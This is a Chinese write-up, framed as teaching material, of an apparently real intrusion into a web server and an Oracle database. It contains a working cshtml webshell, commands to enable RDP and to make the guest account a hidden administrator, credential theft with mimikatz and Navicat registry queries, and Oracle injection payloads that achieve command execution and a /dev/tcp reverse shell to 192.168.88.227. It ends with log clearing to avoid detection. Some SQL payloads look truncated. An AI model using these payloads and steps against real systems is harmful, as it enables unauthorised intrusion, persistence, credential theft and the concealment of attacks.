一次综合渗透测试
字数 1352 2025-08-26 22:11:23
综合渗透测试技术教学文档
0x00 前言
本教学文档基于一次真实的渗透测试案例,详细记录了从信息收集到权限提升的全过程,涉及多种渗透测试技术和工具的使用方法。
0x01 突破后台
1.1 信息收集与目录扫描
- 使用御剑等目录扫描工具发现敏感文件
admin.rar - 下载并分析后台源码结构,寻找可能的漏洞点
1.2 未授权访问漏洞利用
- 通过源码分析发现存在未授权访问的功能点
- 直接访问特定文件实现管理员账户添加
- 成功进入后台管理系统
0x02 后台GetShell
2.1 上传点测试
- 测试多个上传点,发现存在严格的白名单限制
- 无法通过常规文件上传方式获取WebShell
2.2 文件包含漏洞利用
- 发现include模块存在文件包含功能
- 该功能允许创建和编辑cshtml文件
- 使用特制的cshtml Webshell实现命令执行
cshtml Webshell示例代码:
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null){
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{var cmd = ExecuteCommand("cmd.exe", "/c whoami"); }
Output of the injected command (by fuckgov):@cmd
2.3 权限确认与持久化
- 确认获得的权限为system级别
- 通过echo命令写入更完整的WebShell便于后续操作
0x03 服务器提权
3.1 远程桌面服务配置
- 检查3389端口状态:
tasklist /svc和netstat -ano - 使用以下命令开启远程桌面服务:
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
3.2 端口转发与代理
- 尝试使用ngrok进行3389端口映射(遇到IP变化问题)
- 使用reGeorg进行正向代理:
- 上传reGeorg-master的aspx脚本
- Windows下配合Proxifier进行代理连接
3.3 隐蔽账户添加
- 启用guest账户并提升权限:
net user guest /active:yes
net user guest asdf123!
net localgroup administrators guest /add
0x04 信息收集
4.1 凭证获取
- 使用mimikatz获取administrator账户密码
- 分析浏览器保存的密码(发现弱口令)
- 检查SQL Server密码(发现简单MD5加密,可破解)
4.2 远程连接记录分析
- 检查mstsc连接记录
- 使用获取的凭证尝试连接其他服务器
0x05 离线解密Navicat密码
5.1 注册表查询
- 通过查询注册表获取Navicat保存的连接信息:
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v host
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v UserName
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v pwd
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v InitialDatabase
5.2 密码解密
- 使用klionsec提供的解密工具解密获取的hash:
- 工具地址:https://github.com/klionsec/Decryption-tool
0x06 Oracle提权与反弹Shell
6.1 Oracle命令执行
- 创建Java库:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString(END;'';END;--','SYS',0,'1',0) from dual
- 赋予Java权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(PUBLIC'SYS:java.io.FilePermission'execute'end;'''';END;'';END;--','SYS',0,'1',0) from dual
- 创建函数:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'END;'';END;--','SYS',0,'1',0) from dual
- 赋予函数执行权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
- 执行命令:
select sys.LinxRunCMD('/bin/bash -c /usr/bin/pwd') from dual
6.2 反弹Shell
- 创建Java代码:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.88.227/5678;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa)END;'';END;--','SYS',0,'1',0) from dual
- 赋予Java权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(PUBLIC'SYS:java.net.SocketPermission'end;'''';END;'';END;--','SYS',0,'1',0) from dual
- 创建函数:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String'END;'';END;--','SYS',0,'1',0) from dual
- 赋予函数执行权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
- 触发反弹Shell:
select sys.reversetcp from dual
0x07 痕迹清理
- 清除系统日志和操作痕迹
- 保持隐蔽性,避免被发现
参考资源
- Oracle注入与命令执行:https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/
- 远程桌面服务开启:https://www.t00ls.net/viewthread.php?tid=22727&highlight=%E5%BC%803389
- klion师傅相关技术文章